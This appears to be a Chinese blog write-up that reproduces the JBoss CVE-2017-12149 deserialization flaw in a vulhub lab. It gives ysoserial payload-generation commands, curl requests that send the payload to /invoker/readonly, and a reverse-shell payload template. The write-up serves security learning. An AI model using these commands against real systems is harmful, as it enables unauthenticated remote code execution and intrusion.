影响范围:

  • JBoss AS 5.x - JBoss AS 6.1.0.Final

漏洞类型:

Java反序列化

操作系统限制:

配置要求:

  • http-invoker.sar必须处于部署状态

  • ReadOnlyAccessFilter过滤器映射

漏洞利用:

命令执行,反弹shell

利用原理:

在JBoss AS 5.x或6.x中,引入名为ReadOnlyAccessFilter过滤器,其默认映射路径为/invoker/readonly,该路径在默认配置下无需身份验证就可访问,该过滤器处理客户端发送的POST请求数据时,直接获取请求体的输入流调用readObject()方法进行反序列化操作。在还原对象过程中,系统未对传入二进制流进行安全过滤、字节码校验或白名单限制,攻击者可以构造恶意序列化对象,恶意二进制数据通过HTTP请求发送到靶机,JBoss在解析对象时,自动触发对象内部嵌套的恶意代码,执行恶意命令

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/jboss/CVE-2017-12149
#拉取镜像
docker-compose up -d

访问http://靶机ip:8080/invoker/readonly,返回500,说明存在漏洞

下载攻击工具并检查是否有Java环境

# 下载编译好的 jar 包
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

使用ysoserial生成序列化数据

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser

发送恶意payload

curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser

进入容器tmp目录,发现success,说明成功执行命令

下面进行反弹shell,开启nc监听端口

执行命令替换为反弹shell执行命令

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser

发送恶意payload

curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser

成功连接

文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE JBoss
喜欢就支持一下吧